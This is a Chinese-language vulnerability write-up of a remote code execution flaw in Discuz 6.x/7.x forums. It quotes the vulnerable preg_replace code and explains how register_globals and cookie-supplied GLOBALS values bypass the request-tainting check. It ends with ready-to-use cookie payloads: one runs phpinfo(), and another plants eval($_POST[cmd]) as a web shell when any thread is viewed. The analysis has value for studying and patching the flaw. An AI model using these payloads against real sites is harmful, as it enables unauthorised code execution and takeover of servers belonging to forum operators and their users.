利用条件

Discuz 6.x/7.x (php > 5.3)

request_order 为GP(php5.3.x版本里php.ini的设置里request_order默认值为GP)

register_globals 为 on

漏洞原理

include/discuzcode.func.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
function discuzcode($message, $smileyoff, $bbcodeoff, $htmlon = 0, $allowsmilies = 1, $allowbbcode = 1, $allowimgcode =
1, $allowhtml = 0, $jammer = 0, $parsetype = '0', $authorid = '0', $allowmediacode = '0', $pid = 0) {
global $discuzcodes, $credits, $tid, $discuz_uid, $highlight, $maxsmilies, $db, $tablepre, $hideattach, $allowat
tachurl;
if($parsetype != 1 && !$bbcodeoff && $allowbbcode && (strpos($message, '[/code]') || strpos($message, '[/CODE]')
) !== FALSE) {
$message = preg_replace("/\s?\[code\](.+?)\[\/code\]\s?/ies", "codedisp('\\1')", $message);
}
$msglower = strtolower($message);
//$htmlon = $htmlon && $allowhtml ? 1 : 0;
if(!$htmlon) {
$message = $jammer ? preg_replace("/\r\n|\n|\r/e", "jammer()", dhtmlspecialchars($message)) : dhtmlspeci
alchars($message);
}
if(!$smileyoff && $allowsmilies && !empty($GLOBALS['_DCACHE']['smilies']) && is_array($GLOBALS['_DCACHE']['smili
es'])) {
if(!$discuzcodes['smiliesreplaced']) {
foreach($GLOBALS['_DCACHE']['smilies']['replacearray'] AS $key => $smiley) {
$GLOBALS['_DCACHE']['smilies']['replacearray'][$key] = '<img src="images/smilies/'.$GLOB
ALS['_DCACHE']['smileytypes'][$GLOBALS['_DCACHE']['smilies']['typearray'][$key]]['directory'].'/'.$smiley.'" smilieid="'
.$key.'" border="0" alt="" />';
}
$discuzcodes['smiliesreplaced'] = 1;
}
$message = preg_replace($GLOBALS['_DCACHE']['smilies']['searcharray'], $GLOBALS['_DCACHE']['smilies']['r
eplacearray'], $message, $maxsmilies);
}

$message = preg_replace($GLOBALS['_DCACHE']['smilies']['searcharray'], $GLOBALS['_DCACHE']['smilies']['replacearray'], $message, $maxsmilies);

在这句赋值语句中的 preg_replace 中的前两个参数(正则表达式,替换字符串)是通过$GLOBALS变量控制的 ,egister_globals 是php中的一个控制选项,如果 register_globals 打开的话, 客户端提交的数据中含有 GLOBALS 变量名, 就会覆盖服务器上的 $GLOBALS 变量,这样我们就可以控制$GLOBALS['_DCACHE']['smilies']['searcharray'], $GLOBALS['_DCACHE']['smilies']['replacearray']

在preg_replace()中的正则表达式中有一个特殊的模式 \e 可以将替换后的字符执行后再赋值,这样就可以让我们提交的命令执行后赋值给 $message

如何提交带有 GLOBALS变量名的数据,看一下Discuz 对我们提交数据的处理

1
2
3
if (isset($_REQUEST['GLOBALS']) OR isset($_FILES['GLOBALS'])) {
exit('Request tainting attempted.');
}

这样我们就没法提交我们想要的数据了,但是 $REQUEST 这个超全局变量的值收到 php.ini 中的 request_order 的影响,在 php5.3.x 系列中,request_order 默认值为 GP,在默认情况下 $REQUEST 只包含 $_GET 和 $_POST ,不包含 $_COOKIE,那么我们可以通过 COOKIE 来提交 GLOBALS

最后找到 $message 变量显示的地方

在 /viewthread.php 中 viewthread_procpost() 函数中调用了discuzcode()函数(第725行)

1
$post['message'] = discuzcode($post['message'], $post['smileyoff'], $post['bbcodeoff'], $post['htmlon'] & 1, $forum['allowsmilies'], $forum['allowbbcode'], ($forum['allowimgcode'] && $showimages ? 1 : 0), $forum['allowhtml'], ($forum['jammer'] && $post['authorid'] != $discuz_uid ? 1 : 0), 0, $post['authorid'], $forum['allowmediacode'], $post['pid']);

而 viewthread_procpost()函数在查看帖子时就会调用,这样就找到了回显

漏洞利用

在cookie中加上:

GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui

GLOBALS[_DCACHE][smilies][replacearray]=phpinfo()

1539786664642

然后随便点击一篇帖子,就可以触发漏洞

1539788158497

getshell 的话在 cookie 中加上:

GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui

GLOBALS[_DCACHE][smilies][replacearray]=eval($_POST[cmd])%3B